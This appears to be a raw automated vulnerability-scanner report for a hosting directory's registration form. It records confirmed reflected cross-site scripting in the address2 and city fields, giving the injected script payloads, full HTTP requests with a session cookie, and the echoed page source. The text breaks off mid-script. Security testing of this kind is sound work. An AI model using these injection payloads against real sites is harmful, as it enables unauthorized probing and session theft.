sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='D77F49075529D3500F428AF0F0403F0BC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='D77F49075529D35021581B032CC83CCC6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='D77F49075529D3507F5160BAE4D8ED5CC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='D77F49075529D350A1382097FAA2584AC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='D77F49075529D3509132516B19D1B8C46F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='D77F49075529D3504AD98EB19E78079EC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='D77F49075529D350342AC960C455DD51C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='D77F49075529D3505CB2E2A17B843A146F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='D77F49075529D350E0D127D6BA9870E2C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='D77F49075529D350B416740B99E00C4A6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='D77F49075529D3504B03B87FA3FA2888C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='D77F49075529D350F259429D93FA76E3C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='D77F49075529D35056AD2C1AF6B3FDC8C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='D77F49075529D35096EA7B5361223091C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='D77F49075529D350E3D00E411B7F05EFC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='D77F49075529D350F9F574EB89777698C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='D77F49075529D35089653042A0BA7F2A6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='D77F49075529D350E68E9D0D006228966F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='D77F49075529D350B4A1220146F35A476F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST Smith
first_name POST Smith
last_name POST Smith
address POST 3
address2 POST '"--></style></script><script>alert(0x001F44)</script>
city POST 3
state POST 11
province POST 3
zip POST 3
country POST 12
phone POST 3
e_mail POST netsparker@example.com
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
deposit POST 3
promo_code POST 3
card_number POST 3
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST Smith
copy_from_cont POST 1
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 534
Accept-Encoding: gzip, deflate

company_name=Smith&first_name=Smith&last_name=Smith&address=3&address2='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001F44)%3c%2fscript%3e&city=3&state=11&province=3&zip=3&country=12&phone=3&e_mail=netsparker%40example.com&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&deposit=3&promo_code=3&card_number=3&expire_date=3&owner_first_name=Smith&owner_last_name=Smith&copy_from_cont=1&bill_address=3&bill_address2=3&bill_city=3&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 14:21:55 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='D77F49075529D35007532CB494CF0BAFC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='D77F49075529D3507C5DB9F2A70D7D3E6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='D77F49075529D3507B7262999D482F77C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='D77F49075529D35055C29147453D054EC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='D77F49075529D350E42A9C7645BF55126F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='D77F49075529D3507373B4A13AFE0260C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='D77F49075529D3507771A6A23BC3B81AC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='D77F49075529D35040ECA1B6C8D16CF66F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='D77F49075529D3502E4EDDAA670E3297C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='D77F49075529D350C7928BC3B742B3AA6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='D77F49075529D35016D2987D5D12C646C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='D77F49075529D35035A1CDDD13BC2DFEC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='D77F49075529D3506A336CE9452C78B2C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='D77F49075529D350CAE8ED361B6BA319C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='D77F49075529D350A52CBCD284569938C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='D77F49075529D35015DB40D7EA300F3EC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='D77F49075529D350CB8DC4F832E5470A6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='D77F49075529D35077ABB814B9659BED6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='D77F49075529D3505289C1ADD7889C166F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST Smith
first_name POST Smith
last_name POST Smith
address POST 3
address2 POST 3
city POST '"--></style></script><script>alert(0x001F45)</script>
state POST 11
province POST 3
zip POST 3
country POST 12
phone POST 3
e_mail POST netsparker@example.com
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
deposit POST 3
promo_code POST 3
card_number POST 3
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST Smith
copy_from_cont POST 1
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 534
Accept-Encoding: gzip, deflate

company_name=Smith&first_name=Smith&last_name=Smith&address=3&address2=3&city='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001F45)%3c%2fscript%3e&state=11&province=3&zip=3&country=12&phone=3&e_mail=netsparker%40example.com&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&deposit=3&promo_code=3&card_number=3&expire_date=3&owner_first_name=Smith&owner_last_name=Smith&copy_from_cont=1&bill_address=3&bill_address2=3&bill_city=3&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 14:22:02 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { 